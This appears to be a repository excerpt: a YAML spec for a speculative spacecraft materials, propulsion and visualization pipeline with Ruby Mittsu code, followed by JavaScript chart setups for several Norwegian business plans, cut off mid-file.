          power: {min: 1500, max: 30000, unit: kW}

      power_system:
        primary: compact_nuclear_kilopower_derivative

        options:

          kilopower: {power: [1, 10], unit: kWe, trl: 5}

          scaled_kilopower: {power: [10, 100], unit: kWe, development: "5-10 years"}

          megapower: {power: [1, 10], unit: MWe, development: "15-25 years"}

        fallback: solar_array_with_battery_storage

        voltage: high_voltage_dc_bus

        conversion: sic_power_electronics

      composite_layup:
        uhtc_matrix: mattergen_output

        fiber_reinforcement: sic_or_carbon

        interface_engineering: bn_coating_for_crack_deflection

        manufacturing:
          process: chemical_vapor_infiltration

          temperature: 1200  # K

          pressure: 10  # kPa

          duration: 100  # hours

      outputs: [parametric_cad_assembly, simulation_results, manufacturing_procedures]
    visualize:
      mittsu_scene:

        1: load_step_assembly

        2: convert_to_mittsu_geometry

        3: apply_material_properties

        4: add_plasma_visualization

        5: add_magnetic_field_lines

        6: render_interactive_3d_view

        7: export_animation_sequence

      plasma_simulation:
        solver: pic_or_mhd_solver

        visualization: map_to_mittsu_particles

        color_scheme: temperature_gradient

      outputs: [interactive_window, animation_frames, field_line_plots]
    export:
      manufacturing_files:

        hull: [step_for_cnc_machining, stl_for_ceramic_3d_printing]

        electrodes: [step_for_electrode_discharge_machining, gcode_for_metal_printing]

        magnetic_circuit: [step_for_conventional_machining, dwg_for_coil_winding]

      material_datasheets:
        format: master_mg_spacecraft_material_{id}.yml

        include:

          - composition_and_crystal_structure

          - dft_validated_properties

          - em_properties_with_field_dependence

          - thermal_properties_vs_temperature

          - synthesis_pathway_with_process_parameters

          - neutron_activation_analysis

          - cost_and_availability_assessment

      simulation_setup:
        fea: abaqus_input_deck

        cfd: openfoam_case_directory

        em: comsol_model_file

      outputs: [manufacturing_files, material_datasheets, simulation_setups, assembly_instructions]
    iterate:
      convergence:

        metrics: [thrust_to_weight, thermal_margin, em_efficiency, manufacturing_readiness]

        multi_objective: pareto_frontier

        max_iterations: 30

      on_failure:
        rollback: best_validated_state

        adjust: relax_non_critical_constraints

        escalate: after_5_failed_cycles

ruby_integration:
  services:

    spacecraft_materials_orchestrator:

      path: app/services/spacecraft_materials_orchestrator.rb

      responsibilities:

        - parse_mission_requirements

        - invoke_mattergen_for_uhtc

        - apply_adversarial_validation

        - coordinate_em_simulations

        - generate_hull_geometry

        - trigger_visualization

    mittsu_spacecraft_visualizer:
      path: app/services/mittsu_spacecraft_visualizer.rb

      responsibilities:

        - load_step_assembly

        - construct_saucer_geometry

        - add_plasma_effects

        - add_magnetic_field_visualization

        - render_to_window

        - export_animation

      example: |
        require 'mittsu'

        class MittsuSpacecraftVisualizer
          def render_spacecraft(step_file:, plasma_data:, output_path:)

            scene = Mittsu::Scene.new

            camera = Mittsu::PerspectiveCamera.new(60.0, ASPECT, 0.1, 10000.0)

            renderer = Mittsu::OpenGLRenderer.new(width: 1920, height: 1080)

            # Load hull geometry from STEP
            hull = StepImporter.load(step_file)

            # UHTC material per master.yml spec
            uhtc_material = Mittsu::MeshStandardMaterial.new(

              color: 0x334455,

              metalness: 0.8,

              roughness: 0.3

            )

            hull_mesh = Mittsu::Mesh.new(hull.geometry, uhtc_material)
            scene.add(hull_mesh)

            # Add electrode with emissive glow
            electrode_material = Mittsu::MeshPhysicalMaterial.new(

              color: 0xcccccc,

              metalness: 0.95,

              roughness: 0.05,

              emissive: 0x442200,

              emissive_intensity: 0.5

            )

            electrode_geometry = create_electrode_geometry
            electrode_mesh = Mittsu::Mesh.new(electrode_geometry, electrode_material)

            scene.add(electrode_mesh)

            # Plasma volume visualization
            plasma_material = Mittsu::MeshPhysicalMaterial.new(

              color: 0xff6600,

              transmission: 0.8,

              opacity: 0.4,

              emissive: 0xff8800,

              emissive_intensity: 2.0

            )

            plasma_geometry = create_plasma_volume
            plasma_mesh = Mittsu::Mesh.new(plasma_geometry, plasma_material)

            scene.add(plasma_mesh)

            # Magnetic field lines
            field_lines = generate_magnetic_field_lines(plasma_data[:b_field])

            field_lines.each do |line|

              line_geometry = Mittsu::Geometry.new

              line.points.each { |p| line_geometry.vertices << Mittsu::Vector3.new(p.x, p.y, p.z) }

              line_material = Mittsu::LineBasicMaterial.new(
                color: 0x00ffff,

                opacity: 0.6,

                transparent: true

              )

              field_line_mesh = Mittsu::Line.new(line_geometry, line_material)
              scene.add(field_line_mesh)

            end

            # Lighting
            ambient = Mittsu::AmbientLight.new(0x202020, 0.2)

            scene.add(ambient)

            directional = Mittsu::DirectionalLight.new(0xffffff, 1.0)
            directional.position.set(1000, 2000, 1000)

            directional.cast_shadow = true

            scene.add(directional)

            # Plasma glow point light
            plasma_light = Mittsu::PointLight.new(0xff8800, 0.8, 50)

            plasma_light.position.set(0, 0, 0)

            scene.add(plasma_light)

            # Camera positioning
            camera.position.set(0, 50, 100)

            camera.look_at(Mittsu::Vector3.new(0, 0, 0))

            # Render loop
            renderer.window.run do

              hull_mesh.rotation.y += 0.001

              renderer.render(scene, camera)

            end

            # Export animation frames
            export_animation_sequence(scene, camera, output_path)

          end

          private
          def generate_magnetic_field_lines(b_field_data)
            field_lines = []

            seed_points = generate_seed_points_on_electrode_surface

            seed_points.each do |seed|
              points = integrate_field_line(seed, b_field_data)

              field_lines << {points: points}

            end

            field_lines
          end

          def integrate_field_line(seed, b_field, steps: 100, dt: 0.1)
            points = [seed]

            current = seed.dup

            steps.times do
              b = interpolate_field(current, b_field)

              b_normalized = b.normalize

              # RK4 integration
              current = current + b_normalized * dt

              points << current.dup

              break if current.length > 100  # Field line escape
            end

            points
          end

        end

    step_importer:
      path: app/services/step_importer.rb

      dependencies: [opencascade_ruby_bindings, or_step_parser_gem]

      example: |
        class StepImporter

          def self.load(filepath)

            # Parse STEP AP214 file

            parser = StepParser.new(filepath)

            entities = parser.parse

            # Extract B-rep geometry
            shells = entities.select { |e| e.type == :closed_shell }

            # Convert to Mittsu geometry
            geometry = Mittsu::Geometry.new

            shells.each do |shell|
              shell.faces.each do |face|

                triangulate_face(face).each do |triangle|

                  geometry.vertices.concat(triangle.vertices)

                  geometry.faces << Mittsu::Face3.new(

                    geometry.vertices.length - 3,

                    geometry.vertices.length - 2,

                    geometry.vertices.length - 1

                  )

                end

              end

            end

            geometry.compute_face_normals
            geometry.compute_vertex_normals

            OpenStruct.new(geometry: geometry)
          end

        end

plasma_physics:
  mhd_equations:

    continuity: "∂ρ/∂t + ∇·(ρv) = 0"

    momentum: "ρ(∂v/∂t + v·∇v) = -∇p + J×B + μ∇²v"

    energy: "∂(ρe)/∂t + ∇·(ρev) = -p∇·v + J·E - ∇·q"

    maxwells: ["∇×E = -∂B/∂t", "∇×B = μ₀J", "∇·B = 0"]

    ohms_law: "J = σ(E + v×B)"

  boundary_conditions:
    electrode_surface:

      type: conducting_wall

      current_density: specified_or_floating

      temperature: calculated_from_heat_balance

    insulator_surface:
      type: dielectric

      current_density: zero_normal_component

      charge_accumulation: allowed

    plasma_inlet:
      type: mass_flow_specified

      temperature: specified

      velocity: calculated_from_continuity

    plasma_outlet:
      type: pressure_specified

      outflow: zero_gradient

  solver:
    method: finite_volume

    discretization: second_order_upwind

    time_integration: implicit_euler_or_bdf2

    coupling: iterative_segregated_or_monolithic

    convergence:
      residuals: {momentum: 1e-4, energy: 1e-5, em: 1e-6}

      monitors: [thrust, power, efficiency]

testing:
  simulations:

    thermal:

      software: openfoam_chtmultiregion

      scenarios:

        - hypersonic_reentry: {mach: 15, altitude: 40, duration: 600}

        - plasma_thruster_operation: {power: 10, duration: 3600}

        - thermal_soak: {duration: 86400}

      validation: compare_to_arc_jet_test_data
    electromagnetic:
      software: comsol_or_elmer

      analyses:

        - magnetic_field_distribution

        - current_density_uniformity

        - lorentz_force_calculation

        - electrode_heat_generation

      validation: compare_to_mapx_nasa_data
    structural:
      software: abaqus_or_calculix

      loads:

        - pressure_differential: 1_atm

        - thermal_gradients: from_thermal_sim

        - em_body_forces: from_em_sim

        - g_loads: {lateral: 5, vertical: 10}

      failure_criteria: [tsai_hill, maximum_stress, paris_law_for_crack_growth]
    combined:
      method: co_simulation

      coupling: [thermal_structural, em_thermal, plasma_em]

      time_scale: {thermal: 1, structural: 0.01, em: 1e-6}

  experimental:
    synthesis:

      facilities: [spark_plasma_sintering, hot_press, cvd_reactor]

      characterization: [xrd, sem, tem, xps, wds]

      property_measurement: [nanoindentation, four_point_probe, dilatometry, dsc_tga]

    plasma_testing:
      facility: arc_jet_or_plasma_torch

      conditions: {heat_flux: 10, enthalpy: 20, pressure: 1000}

      measurements: [surface_temperature, erosion_rate, spectroscopy]

    validation_criteria:
      property_agreement: {within: 0.20, of: dft_prediction}

      synthesis_reproducibility: {coefficient_of_variation: 0.10}

cost:
  propulsion_systems:

    hall_thruster_array:

      development: {min: 50, max: 200, unit: "M USD", timeline: "0-2 years"}

      unit_cost_per_thruster: {min: 0.5, max: 2, unit: "M USD"}

      flight_heritage: extensive_6000plus_satellites

      risk: low

    gridded_ion_cluster:
      development: {min: 50, max: 200, unit: "M USD", timeline: "0-2 years"}

      unit_cost_per_engine: {min: 1, max: 3, unit: "M USD"}

      flight_heritage: extensive_dawn_dart_deep_space_1

      risk: low

    pulsed_plasma_distributed:
      development: {min: 10, max: 50, unit: "M USD", timeline: "0-2 years"}

      unit_cost_per_module: {min: 0.01, max: 0.1, unit: "M USD"}

      flight_heritage: 60_years_zond_2_to_eo1

      risk: low

    mpd_superconducting:
      development: {min: 200, max: 800, unit: "M USD", timeline: "5-10 years"}

      unit_cost_per_thruster: {min: 10, max: 50, unit: "M USD"}

      magnet_cost: {min: 5, max: 20, unit: "M USD per toroid"}

      cryogenic_system: {min: 2, max: 10, unit: "M USD"}

      risk: medium_electrode_erosion_and_cooling

    atmospheric_mhd:
      development: {min: 500, max: 2000, unit: "M USD", timeline: "10-15 years"}

      unit_cost: {min: 50, max: 200, unit: "M USD"}

      magnet_20t_rebco: {min: 20, max: 100, unit: "M USD"}

      power_system_mw: {min: 100, max: 500, unit: "M USD"}

      risk: high_integration_and_ionization

    vasimr:
      development: {min: 300, max: 1000, unit: "M USD", timeline: "10-20 years"}

      unit_cost: {min: 20, max: 80, unit: "M USD"}

      power_requirement: "Requires 200+ kW nuclear"

      risk: high_no_flight_demo_after_decades

  materials:
    zrb2_powder: {cost_per_kg: 150, purity: 0.995}

    hfb2_powder: {cost_per_kg: 800, purity: 0.99}

    sic_powder: {cost_per_kg: 50, purity: 0.999}

    tungsten_rod: {cost_per_kg: 40, purity: 0.9999}

    carbon_fiber: {cost_per_kg: 30, type: T800}

    rebco_tape: {cost_per_meter: 50, width: "4mm", current: "300 A"}

    boron_nitride: {cost_per_kg: 200, grade: pyrolytic}

    molybdenum: {cost_per_kg: 65, purity: 0.995}

  processing:
    spark_plasma_sintering: {cost_per_batch: 5000, batch_size_kg: 10, time_hours: 4}

    hot_isostatic_pressing: {cost_per_batch: 8000, batch_size_kg: 50, time_hours: 8}

    chemical_vapor_infiltration: {cost_per_m2: 2000, time_hours: 100}

    cnc_machining: {cost_per_hour: 150, uhtc_tool_wear: high}

    rebco_magnet_winding: {cost_per_kg: 5000, time_hours: 100}

  power_systems:
    kilopower_1_10kw: {cost: "50-100 M USD", trl: 5, timeline: "5 years"}

    scaled_kilopower_100kw: {cost: "200-500 M USD", trl: 3, timeline: "10 years"}

    megapower_1_10mw: {cost: "500-2000 M USD", trl: 2, timeline: "15-25 years"}

    solar_array_100kw: {cost: "10-50 M USD", trl: 9, mass_penalty: high}

  target_spacecraft:
    small_10m:

      propulsion: hall_array_or_ion_cluster

      power: {min: 10, max: 100, unit: kW}

      total_cost: {min: 200, max: 800, unit: "M USD"}

      timeline: "3-5 years"

    medium_25m:
      propulsion: mpd_superconducting_or_hybrid

      power: {min: 100, max: 1000, unit: kW}

      total_cost: {min: 800, max: 3000, unit: "M USD"}

      timeline: "5-10 years"

    large_50m:
      propulsion: atmospheric_mhd_or_hybrid_multi_system

      power: {min: 1, max: 30, unit: MW}

      total_cost: {min: 3000, max: 10000, unit: "M USD"}

      timeline: "10-20 years"

documentation:
  material_card:

    format: markdown

    sections:

      - composition_crystal_structure_space_group

      - dft_validated_properties_with_uncertainty

      - em_properties_vs_temperature_and_field

      - thermal_properties_vs_temperature

      - mechanical_properties_at_service_conditions

      - synthesis_pathway_with_process_window

      - neutron_activation_analysis_decay_chains

      - plasma_compatibility_sputtering_yield

      - oxidation_kinetics_and_tps_requirements

      - cost_breakdown_and_availability

      - experimental_validation_status

  step_naming:
    pattern: "syre_spacecraft_{component}_{material_id}_{version}.step"

    example: "syre_spacecraft_hull_mg2025042_v1.step"

  assembly_doc:
    include:

      - component_tree_with_materials

      - assembly_sequence_with_tooling

      - quality_control_checkpoints

      - non_destructive_testing_requirements

      - integration_with_propulsion_system

bp/norwegianhedge.js

// Nordic Prosperity Fund Allocation Chart

        const prosperityCtx = document.getElementById('prosperityChart').getContext('2d');

        const prosperityChart = new Chart(prosperityCtx, {
            type: 'doughnut',
            data: {

                labels: ['Nordiske aksjer', 'Internasjonale aksjer', 'Obligasjoner', 'Kryptovalutaer', 'Råvarer'],
                datasets: [{
                    data: [40, 30, 15, 10, 5],
                    backgroundColor: ['#5d93ff', '#ff007f', '#00c9ff', '#ffcc00', '#8a2be2'],
                }]
            },
            options: {
                plugins: {
                    title: { display: true, text: 'Nordic Prosperity Fund - Asset Allokering' },
                    legend: { position: 'bottom' }
                }
            }
        });
        // Ruby Bot Performance Chart
        const botCtx = document.getElementById('botChart').getContext('2d');
        const botChart = new Chart(botCtx, {
            type: 'line',
            data: {
                labels: ['Jan', 'Feb', 'Mar', 'Apr', 'Mai', 'Jun'],

                datasets: [{
                    label: 'Skalperingsroboter (%)',
                    data: [2.5, 3.1, 2.8, 3.5, 4.2, 3.8],
                    borderColor: '#5d93ff',
                    backgroundColor: 'rgba(93, 147, 255, 0.1)',
                    fill: true
                }, {
                    label: 'Arbitrasje-bots (%)',
                    data: [1.8, 2.2, 2.5, 2.1, 2.8, 3.2],
                    borderColor: '#ff007f',
                    backgroundColor: 'rgba(255, 0, 127, 0.1)',
                    fill: true
                }]
            },
            options: {
                plugins: {
                    title: { display: true, text: 'Ruby Bot Swarm - Månedlig Avkastning' }
                },
                scales: { y: { beginAtZero: true } }
            }
        });
        // AI³ Performance Metrics
        const ai3Ctx = document.getElementById('ai3Chart').getContext('2d');
        const ai3Chart = new Chart(ai3Ctx, {
            type: 'radar',
            data: {
                labels: ['Risikoanalyse', 'Porteføljeoptimalisering', 'Markedsforutsigelse', 'Handelsautomatisering', 'Rapportering'],

                datasets: [{
                    label: 'AI³ Ytelse',
                    data: [92, 88, 85, 95, 90],
                    backgroundColor: 'rgba(93, 147, 255, 0.2)',
                    borderColor: '#5d93ff',
                    borderWidth: 2
                }]
            },
            options: {
                plugins: {
                    title: { display: true, text: 'AI³ System Kapabiliteter (%)' }
                },
                scales: {
                    r: { beginAtZero: true, max: 100 }
                }
            }
        });
        // Historical Performance Chart
        const performanceCtx = document.getElementById('performanceChart').getContext('2d');
        const performanceChart = new Chart(performanceCtx, {
            type: 'line',
            data: {
                labels: ['2020', '2021', '2022', '2023', '2024', '2025E'],

                datasets: [{
                    label: 'Norwegian Hedge (%)',
                    data: [15.5, 18.2, 12.8, 16.9, 19.5, 17.0],
                    borderColor: '#5d93ff',
                    backgroundColor: 'rgba(93, 147, 255, 0.1)',
                    fill: true
                }, {
                    label: 'OSEBX (%)',
                    data: [8.2, 12.5, -2.1, 10.3, 8.9, 7.5],
                    borderColor: '#cccccc',
                    backgroundColor: 'rgba(200, 200, 200, 0.1)',
                    fill: true
                }]
            },
            options: {
                plugins: {
                    title: { display: true, text: 'Historisk Avkastning vs Benchmark' }
                },
                scales: { y: { beginAtZero: false } }
            }
        });

bp/ragnhild.js

// Color palette from master.json design_system
    const colors = {
      primary: ['#DA7756', '#C15F3C', '#E89B7E', '#4A7C59', '#D97706'],
      neutral: { bg: '#FFFCF7', surface: '#F5F2ED', text: '#3D3929' }
    };

    // 1. Market Size Funnel Chart
    (function(){
      const el = document.getElementById('marketSizeChart');
      if (!el) return;
      const chart = echarts.init(el, null, {renderer: 'svg'});
      chart.setOption({

        title: { text: 'Markedsstørrelse (Norge Begravelsesbransjen)', left: 'center' },
        tooltip: { trigger: 'item', formatter: '{b}: {c} MNOK' },
        series: [{
          type: 'funnel',
          left: '10%',

          width: '80%',
          label: { formatter: '{b}\n{c} MNOK' },

          labelLine: { show: false },
          itemStyle: { borderColor: '#fff', borderWidth: 2 },
          data: [
            { value: 2600, name: 'TAM - Norge totalt', itemStyle: { color: colors.primary[0] } },
            { value: 520, name: 'SAM - Oslo-regionen', itemStyle: { color: colors.primary[1] } },
            { value: 18, name: 'SOM - Målbar andel år 3', itemStyle: { color: colors.primary[2] } }
          ]
        }]
      });
      window.addEventListener('resize', () => chart.resize());
    })();
    // 2. Revenue Projection Chart (3 scenarios)
    (function(){
      const el = document.getElementById('revenueChart');
      if (!el) return;

      const chart = echarts.init(el, null, {renderer: 'svg'});
      const years = ['År 1', 'År 2', 'År 3'];

      const conservative = [5.8, 10.2, 13.5];
      const realistic = [8.6, 13.8, 16.8];
      const optimistic = [11.5, 17.2, 20.4];
      chart.setOption({
        title: { text: 'Omsetningsprognoser (MNOK)', left: 'center' },

        tooltip: { trigger: 'axis' },
        legend: { top: 30, data: ['Konservativ', 'Realistisk', 'Optimistisk'] },
        grid: { left: 60, right: 60, bottom: 40, top: 80 },
        xAxis: { type: 'category', data: years },

        yAxis: { type: 'value', name: 'MNOK' },
        series: [
          {
            name: 'Konservativ',
            type: 'line',
            data: conservative,
            smooth: true,
            lineStyle: { color: colors.primary[3], type: 'dashed' },
            itemStyle: { color: colors.primary[3] }
          },
          {
            name: 'Realistisk',
            type: 'line',
            data: realistic,
            smooth: true,
            lineStyle: { color: colors.primary[0], width: 3 },
            itemStyle: { color: colors.primary[0] },
            areaStyle: { color: colors.primary[0], opacity: 0.1 }
          },
          {
            name: 'Optimistisk',
            type: 'line',
            data: optimistic,
            smooth: true,
            lineStyle: { color: colors.primary[4], type: 'dashed' },
            itemStyle: { color: colors.primary[4] }
          }
        ]
      });
      window.addEventListener('resize', () => chart.resize());
    })();
    // 3. Cost Structure Stacked Bar Chart
    (function(){
      const el = document.getElementById('costChart');
      if (!el) return;

      const chart = echarts.init(el, null, {renderer: 'svg'});
      const years = ['År 1', 'År 2', 'År 3'];

      chart.setOption({
        title: { text: 'Kostnadsstruktur (MNOK)', left: 'center' },
        tooltip: { trigger: 'axis', axisPointer: { type: 'shadow' } },
        legend: { top: 30, data: ['COGS', 'OPEX', 'CAPEX'] },
        grid: { left: 60, right: 60, bottom: 40, top: 80 },

        xAxis: { type: 'category', data: years },

        yAxis: { type: 'value', name: 'MNOK' },
        series: [
          {
            name: 'COGS',
            type: 'bar',
            stack: 'total',
            data: [3.2, 5.4, 7.8],
            itemStyle: { color: colors.primary[0] }
          },
          {
            name: 'OPEX',
            type: 'bar',
            stack: 'total',
            data: [2.8, 3.6, 4.4],
            itemStyle: { color: colors.primary[1] }
          },
          {
            name: 'CAPEX',
            type: 'bar',
            stack: 'total',
            data: [0.6, 0.3, 0.2],
            itemStyle: { color: colors.primary[2] }
          }
        ]
      });
      window.addEventListener('resize', () => chart.resize());
    })();
    // 4. Unit Economics Waterfall Chart
    (function(){
      const el = document.getElementById('unitEconomicsChart');
      if (!el) return;

      const chart = echarts.init(el, null, {renderer: 'svg'});
      chart.setOption({

        title: { text: 'Enhetsekonomi per Seremoni (NOK)', left: 'center' },
        tooltip: { trigger: 'axis', axisPointer: { type: 'shadow' } },
        grid: { left: 80, right: 80, bottom: 40, top: 60 },
        xAxis: {
          type: 'category',

          data: ['Inntekt', 'Variable kost.', 'Dekning', 'Faste kost.', 'Nettoresultat']
        },
        yAxis: { type: 'value', name: 'NOK' },
        series: [{
          type: 'bar',
          data: [
            { value: 72000, itemStyle: { color: colors.primary[3] } },
            { value: -42000, itemStyle: { color: colors.primary[4] } },
            { value: 30000, itemStyle: { color: colors.primary[0] } },
            { value: -18000, itemStyle: { color: colors.primary[4] } },
            { value: 12000, itemStyle: { color: colors.primary[3] } }
          ],
          label: {
            show: true,
            position: 'top',
            formatter: (params) => (params.value >= 0 ? '+' : '') + params.value.toLocaleString()
          }
        }]
      });
      window.addEventListener('resize', () => chart.resize());
    })();
    // 5. Cash Flow Chart
    (function(){
      const el = document.getElementById('cashFlowChart');
      if (!el) return;

      const chart = echarts.init(el, null, {renderer: 'svg'});
      const months = ['M1', 'M3', 'M6', 'M9', 'M12', 'M15', 'M18', 'M21', 'M24', 'M27', 'M30', 'M33', 'M36'];

      const cumulative = [-2.5, -2.8, -3.2, -3.4, -3.2, -2.9, -2.4, -1.7, -0.8, 0.2, 1.4, 2.8, 4.5];
      chart.setOption({
        title: { text: 'Kumulativ Kontantstrøm (MNOK)', left: 'center' },
        tooltip: { trigger: 'axis' },
        grid: { left: 60, right: 60, bottom: 40, top: 60 },

        xAxis: { type: 'category', data: months },
        yAxis: { type: 'value', name: 'MNOK' },

        series: [{
          name: 'Kumulativ CF',
          type: 'line',
          data: cumulative,
          smooth: true,
          lineStyle: { color: colors.primary[0], width: 2 },
          itemStyle: { color: colors.primary[0] },
          areaStyle: {
            color: {
              type: 'linear',
              x: 0, y: 0, x2: 0, y2: 1,
              colorStops: [
                { offset: 0, color: 'rgba(218, 119, 86, 0.3)' },
                { offset: 1, color: 'rgba(218, 119, 86, 0.05)' }
              ]
            }
          },
          markLine: {
            silent: true,
            lineStyle: { color: '#333', type: 'dashed' },
            data: [{ yAxis: 0, label: { formatter: 'Break-even' } }]
          }
        }]
      });
      window.addEventListener('resize', () => chart.resize());
    })();

bp/speis.js

// Aurora Capabilities Chart

        const auroraCtx = document.getElementById('auroraChart').getContext('2d');

        const auroraChart = new Chart(auroraCtx, {
            type: 'radar',
            data: {

                labels: ['Isbrytning', 'Forsvar', 'Hastighet', 'Autonomi', 'Miljøvennlighet'],
                datasets: [{
                    label: 'Aurora-klasse',
                    data: [95, 90, 85, 92, 88],
                    backgroundColor: 'rgba(93, 147, 255, 0.2)',
                    borderColor: '#5d93ff',
                    borderWidth: 2
                }, {
                    label: 'Konkurrenter',
                    data: [70, 75, 80, 60, 65],
                    backgroundColor: 'rgba(200, 200, 200, 0.2)',
                    borderColor: '#888888',
                    borderWidth: 2
                }]
            },
            options: {
                plugins: {
                    title: { display: true, text: 'Aurora vs Konkurrenter - Kapabiliteter' }
                },
                scales: {
                    r: { beginAtZero: true, max: 100 }
                }
            }
        });
        // Fighter Jet Development Timeline
        const jetCtx = document.getElementById('jetChart').getContext('2d');
        const jetChart = new Chart(jetCtx, {
            type: 'line',
            data: {
                labels: ['2025', '2027', '2030', '2035', '2040'],

                datasets: [{
                    label: '7. Gen Kampfly',
                    data: [10, 50, 90, 100, 100],
                    borderColor: '#ff007f',
                    backgroundColor: 'rgba(255, 0, 127, 0.1)',
                    fill: true
                }, {
                    label: '8. Gen Kampfly',
                    data: [0, 10, 40, 80, 100],
                    borderColor: '#00c9ff',
                    backgroundColor: 'rgba(0, 201, 255, 0.1)',
                    fill: true
                }, {
                    label: '9-10. Gen Kampfly',
                    data: [0, 0, 5, 25, 60],
                    borderColor: '#ffcc00',
                    backgroundColor: 'rgba(255, 204, 0, 0.1)',
                    fill: true
                }]
            },
            options: {
                plugins: {
                    title: { display: true, text: 'Kampfly Utvikling Timeline' }
                },
                scales: { y: { beginAtZero: true, max: 100 } }
            }
        });
        // Market Position Chart
        const marketCtx = document.getElementById('marketChart').getContext('2d');
        const marketChart = new Chart(marketCtx, {
            type: 'doughnut',
            data: {
                labels: ['SPEIS', 'Kongsberg', 'Andre'],

                datasets: [{
                    data: [35, 40, 25],
                    backgroundColor: ['#5d93ff', '#ff8c00', '#cccccc'],
                }]
            },
            options: {
                plugins: {
                    title: { display: true, text: 'Forventet Markedsandel - Nordisk Aerospace' },
                    legend: { position: 'bottom' }
                }
            }
        });
        // Financial Projections Chart
        const financeCtx = document.getElementById('financeChart').getContext('2d');
        const financeChart = new Chart(financeCtx, {
            type: 'bar',
            data: {
                labels: ['År 1', 'År 2', 'År 3', 'År 4', 'År 5'],

                datasets: [{
                    label: 'Omsetning (MNOK)',
                    data: [50, 150, 400, 800, 1200],
                    backgroundColor: '#5d93ff',
                }, {
                    label: 'Netto Resultat (MNOK)',
                    data: [-100, -50, 50, 200, 400],
                    backgroundColor: '#ff007f',
                }]
            },
            options: {
                plugins: {
                    title: { display: true, text: 'Økonomiske Prognoser' }
                },
                scales: { y: { beginAtZero: false } }
            }
        });

bp/syre.js

// Initialize Swiper Carousel
        const swiper = new Swiper('.swiper', {
            pagination: {
                el: '.swiper-pagination',
                clickable: true,
            },
            autoplay: {
                delay: 2500,
                disableOnInteraction: false,
            },
            loop: true
        });
        // ECharts Color Palette
        const syreColors = {
            primary: '#8a2be2',    // Purple
            secondary: '#ff007f',  // Pink
            accent: '#00c9ff',     // Cyan
            dark: '#333333',
            light: '#f0f0f0',
            success: '#4A7C59',
            warning: '#D97706'
        };
        // EChart 1: Donation Funnel (50% Commercial / 50% Social)
        const donationFunnelChart = echarts.init(document.getElementById('donationFunnelChart'), null, {renderer: 'svg'});
        donationFunnelChart.setOption({
            title: {
                text: 'SYRE™ Donasjonstrakt: 50/50 Kommersielt/Sosialt Modell',
                left: 'center',
                textStyle: { fontSize: 18, fontWeight: 'bold' }
            },
            tooltip: {
                trigger: 'item',
                formatter: '{b}: {c} par sko<br/>({d}%)'
            },
            series: [{
                type: 'funnel',
                left: '10%',
                top: '60',
                width: '80%',
                minSize: '30%',
                maxSize: '100%',
                sort: 'descending',
                gap: 2,
                label: {
                    show: true,
                    position: 'inside',
                    formatter: '{b}\n{c} par',

                    fontSize: 14
                },
                labelLine: {
                    length: 10,
                    lineStyle: { width: 1 }
                },
                itemStyle: {
                    borderColor: '#fff',
                    borderWidth: 2
                },
                emphasis: {
                    label: { fontSize: 16, fontWeight: 'bold' }
                },
                data: [
                    { value: 25000, name: 'Produksjon Total (År 3)', itemStyle: { color: syreColors.primary } },
                    { value: 12500, name: 'Kommersielt Salg (50%)', itemStyle: { color: syreColors.accent } },
                    { value: 12500, name: 'Gratis Donasjoner (50%)', itemStyle: { color: syreColors.secondary } },
                    { value: 6250, name: 'Kirkens Bymisjon', itemStyle: { color: '#e89b7e' } },
                    { value: 3750, name: 'Blå Kors', itemStyle: { color: '#c15f3c' } },
                    { value: 2500, name: 'Frelsesarmeen & Røde Kors', itemStyle: { color: '#da7756' } }
                ]
            }]
        });
        // EChart 2: Market Penetration Curve (12% Year 3 Target)
        const marketPenetrationChart = echarts.init(document.getElementById('marketPenetrationChart'), null, {renderer: 'svg'});
        marketPenetrationChart.setOption({
            title: {
                text: 'Markedspenetrasjonsanalyse: SYRE™ vs. Norge Premium Fottøy',
                left: 'center',
                textStyle: { fontSize: 18, fontWeight: 'bold' }
            },
            tooltip: {
                trigger: 'axis',
                axisPointer: { type: 'cross' }
            },
            legend: {
                data: ['SYRE™ Markedsandel (%)', 'Kumulativ Omsetning (MNOK)', 'Kunde-base (antall)'],
                top: 40
            },
            grid: {
                left: '3%',
                right: '4%',
                bottom: '10%',
                containLabel: true
            },
            xAxis: {
                type: 'category',
                boundaryGap: false,
                data: ['Lansering', 'Q2 År 1', 'Q4 År 1', 'Q2 År 2', 'Q4 År 2', 'Q2 År 3', 'Q4 År 3 (12%)']
            },
            yAxis: [
                {
                    type: 'value',
                    name: 'Markedsandel (%)',
                    position: 'left',
                    axisLabel: { formatter: '{value} %' },
                    max: 15
                },
                {
                    type: 'value',
                    name: 'Omsetning (MNOK)',
                    position: 'right',
                    axisLabel: { formatter: '{value} M' }
                }
            ],
            series: [
                {
                    name: 'SYRE™ Markedsandel (%)',
                    type: 'line',
                    smooth: true,
                    data: [0, 1.5, 3.2, 5.8, 7.5, 10.2, 12.0],
                    itemStyle: { color: syreColors.primary },
                    areaStyle: { opacity: 0.3 },
                    markPoint: {
                        data: [
                            { type: 'max', name: 'Mål År 3: 12%' }
                        ]
                    },
                    markLine: {
                        data: [
                            { type: 'average', name: 'Gjennomsnitt' }
                        ]
                    }
                },
                {
                    name: 'Kumulativ Omsetning (MNOK)',
                    type: 'line',
                    yAxisIndex: 1,
                    smooth: true,
                    data: [0, 2, 5, 10, 17, 30, 42],
                    itemStyle: { color: syreColors.secondary }
                },
                {
                    name: 'Kunde-base (antall)',
                    type: 'bar',
                    yAxisIndex: 1,
                    data: [0, 0.8, 2.1, 4.2, 7, 12.5, 17.5],
                    itemStyle: { color: syreColors.accent, opacity: 0.5 }
                }
            ]
        });
        // EChart 3: Financial Waterfall (NOK 2M Innovasjon Norge Funding Flow)
        const financialWaterfallChart = echarts.init(document.getElementById('financialWaterfallChart'), null, {renderer: 'svg'});
        financialWaterfallChart.setOption({
            title: {
                text: 'Finansiell Waterfall: NOK 2M Innovasjon Norge Kapitalflyt',
                subtext: 'Hvordan offentlig støtte flyter gjennom verdikjeden',
                left: 'center',
                textStyle: { fontSize: 18, fontWeight: 'bold' }
            },
            tooltip: {
                trigger: 'axis',
                axisPointer: { type: 'shadow' },
                formatter: function(params) {
                    let tar = params[1];
                    return tar.name + '<br/>' + tar.seriesName + ': ' + tar.value + ' NOK';
                }
            },
            grid: {
                left: '3%',
                right: '4%',
                bottom: '3%',
                containLabel: true
            },
            xAxis: {
                type: 'category',
                splitLine: { show: false },
                data: ['Startkapital\n(Total)', 'Innovasjon\n\nNorge', 'Private\n\nInvestors', 'SPEIS\n\nSamfinansiering', 'SkatteFUNN', 'FoU\n\n(35%)', 'Produksjon\n\n(30%)', 'Marketing\n\n(20%)', 'Social Impact\n\n(10%)', 'Drift\n\n(5%)', 'Restkapital'],

                axisLabel: {
